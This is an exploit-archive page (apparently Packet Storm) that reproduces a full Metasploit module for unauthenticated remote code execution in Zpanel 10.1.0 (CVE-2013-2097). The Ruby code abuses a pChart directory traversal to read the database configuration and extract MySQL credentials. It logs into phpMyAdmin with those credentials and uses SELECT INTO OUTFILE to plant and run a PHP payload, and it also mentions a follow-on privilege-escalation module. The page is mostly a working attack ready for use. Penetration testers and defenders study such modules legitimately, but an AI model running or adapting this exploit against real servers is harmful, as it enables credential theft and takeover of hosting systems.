Exploit the possiblities

Zpanel 10.1.0 Remote Unauthenticated Code Execution

Zpanel 10.1.0 Remote Unauthenticated Code Execution
Posted Oct 20, 2015
Authored by James Fitts, Dawn Isabel, Brent Morris, brad wolfe | Site metasploit.com

This Metasploit module exploits an information disclosure vulnerability found in Zpanel versions 10.1.0 and below. The vulnerability is due to a vulnerable version of pChart allowing remote, unauthenticated, users to read arbitrary files found on the filesystem. This particular module utilizes this vulnerability to identify the username/password combination of the MySQL instance. With the credentials the attackers can login to PHPMyAdmin and execute SQL commands to drop a malicious payload on the filesystem and call it leading to remote code execution.

tags | exploit, remote, arbitrary, code execution, info disclosure
advisories | CVE-2013-2097
MD5 | da0ee10fd034c511e39d2859a8c1c254

Zpanel 10.1.0 Remote Unauthenticated Code Execution

Change Mirror Download
require 'msf/core'
require 'msf/core/exploit/php_exe'
require 'nokogiri'
require 'uri'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::PhpEXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Zpanel Remote Unauthenticated RCE',
'Description' => %q{
This module exploits an information disclosure vulnerability
found in Zpanel <= 10.1.0. The vulnerability is due to a
vulnerable version of pChart allowing remote, unauthenticated,
users to read arbitrary files found on the filesystem. This
particular module utilizes this vulnerability to identify the
username/password combination of the MySQL instance. With the
credentials the attackers can login to PHPMyAdmin and execute
SQL commands to drop a malicious payload on the filesystem and
call it leading to remote code execution.
},
'Author' =>
[
'dawn isabel',
'brad wolfe',
'brent morris',
'james fitts'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-2097' ],
[ 'EDB', '31173' ], # pChart
[ 'OSVDB', '102595' ], # pChart
[ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ],
[ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ]
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 30 2014'))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel'])
], self.class)
end

def get_setting(res, setting_name)
n = ::Nokogiri::HTML(res.body)
spans = n.search('//code//span//span')
found_element = spans.select{ |e| /#{setting_name}/ === e.text }.first
val = found_element.next.next.text
val.scan(/['"]([[:print:]]+)['"]/).flatten.first || ''
end

def get_user(res)
get_setting(res, 'user')
end

def get_passwd(res)
get_setting(res, 'pass')
end

def get_dbname(res)
get_setting(res, 'dbname')
end

def dot_dot_slash(uri)
res = send_request_cgi({
'method' =>'GET',
'uri' => normalize_uri("#{uri}", 'etc', 'lib', 'pChart2', 'examples', 'index.php'),
'vars_get' => {
'Action' => 'View',
'Script' => '../../../../cnf/db.php'
}
})

uname = get_user(res)
passwd = get_passwd(res)
dbname = get_dbname(res)

return uname, passwd, dbname
end

def get_token_from_form(res)
hidden_inputs = res.get_hidden_inputs
hidden_inputs.first['token']
end

def get_token_from_url(url)
u = URI(url)
u.query.split('&').each do |param|
param_name, param_value = param.scan(/([[:print:]]+)=([[:print:]]+)/).flatten
return param_value if param_name == 'token'
end

''
end

def grab_sess_and_token(uri)
print_status('Attempting to get PHPSESSIONID')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{uri}"),
})

unless res
fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID')
end

cookies = res.get_cookies
sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''

if sid.length > 0
print_good('PHPSESSID identified!')
print_good("PHPSESSID = #{sid.split("=")[1]}")

print_status('Attempting to get CSRF token')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{uri}", 'etc', 'apps', 'phpmyadmin', 'index.php'),
'Cookie' => "#{sid}"
})

unless res
fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token')
end

token = get_token_from_form(res)
cookies = res.get_cookies

cookies = cookies.split('; ')
cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}"

if token.length > 0
print_good('CSRF token identified!')
print_good("CSRF token = #{token}")
return cookies, token, sid
else
print_error('CSRF token could not be identified...')
end
else
print_error('PHPSESSID could not be identified...')
end
end

def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id)
old_cookies = cookies

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
'cookie' => cookies,
'ctype' => 'application/x-www-form-urlencoded',
'headers'=>
{
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
},
'vars_post' => {
'pma_username' => uname,
'pma_password' => passwd,
'server' => '1',
'lang' => 'en',
'collation_connection' => 'utf8_general_ci',
'token' => token
}
})

cookies = "#{res.get_cookies}"

old_cookies = old_cookies.split("; ")
cookies = cookies.split("; ")

new_cookies = "#{old_cookies[0]}; "
new_cookies << "#{old_cookies[1]}; "
new_cookies << "#{old_cookies[2]}; "
new_cookies << "#{old_cookies[3]}; "
new_cookies << "#{cookies[0]}; "
new_cookies << "#{cookies[1]} "
new_cookies << "#{sess_id}"

token = get_token_from_url(res['Location'])

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
'cookie' => new_cookies,
'vars_get' => {
'token' => token
}
})

unless res
fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin')
end

if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/
print_good('PHPMyAdmin login successful!')
return new_cookies, token
end
end

def do_sql(cookies, token, uri)
fname = "#{rand_text_alpha_upper(5)}.php"
sql_stmt = "SELECT \"<?php #{payload.encoded} ?>\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\""

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'import.php'),
'cookie' => cookies,
'ctype' =>'application/x-www-form-urlencoded; charset=UTF-8',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}"
},
'vars_post' => {
'is_js_confirmed' => '0',
'token' => token,
'pos' => '0',
'goto' => 'server_sql.php',
'message_to_show' => 'Your+SQL+query+has+been+executed+successfully',
'prev_sql_query' => '',
'sql_query' => sql_stmt,
'sql_delimiter' => ';',
'show_query' => '1',
'ajax_request' => 'true',
'_nocache' => rand.to_s[2..19].to_i
}
})

unless res
fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload')
end

if res.body =~ /"success":true/
print_good("'#{fname}' successfully uploaded")
print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'")
print_status("Executing '#{fname}' on the remote host")

res = send_request_cgi({
'method'=>'GET',
'uri'=>normalize_uri("#{uri}", "#{fname}")
})
else
print_error("#{res.body.to_s}")
end
end

def exploit
# Checking pChart
res = send_request_cgi({
'method'=> 'GET',
'uri'=> normalize_uri("#{datastore['URI']}", 'etc', 'lib', 'pChart2', 'examples', 'index.php')
})

# if pChart is vuln version
if res.body =~ /pChart 2\.x/
uname, passwd, db_name = dot_dot_slash("#{datastore['URI']}")
if uname.length > 0 && passwd.length > 0
print_good('Directory traversal successful, Username/Password identified!')
print_good("Username: #{uname}")
print_good("Password: #{passwd}")
print_good("DB Name: #{db_name}")
cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}")
print_status('Logging into PHPMyAdmin now')
cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id)
print_status('Uploading malicious payload now')
do_sql(cookies, token, "#{datastore['URI']}")
else
print_error('It appears that the directory traversal was unsuccessful...')
end
else
print_error("It appears that the version of pChart is not vulnerable...")
end
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    19 Files
  • 18
    Nov 18th
    4 Files
  • 19
    Nov 19th
    2 Files
  • 20
    Nov 20th
    9 Files
  • 21
    Nov 21st
    14 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close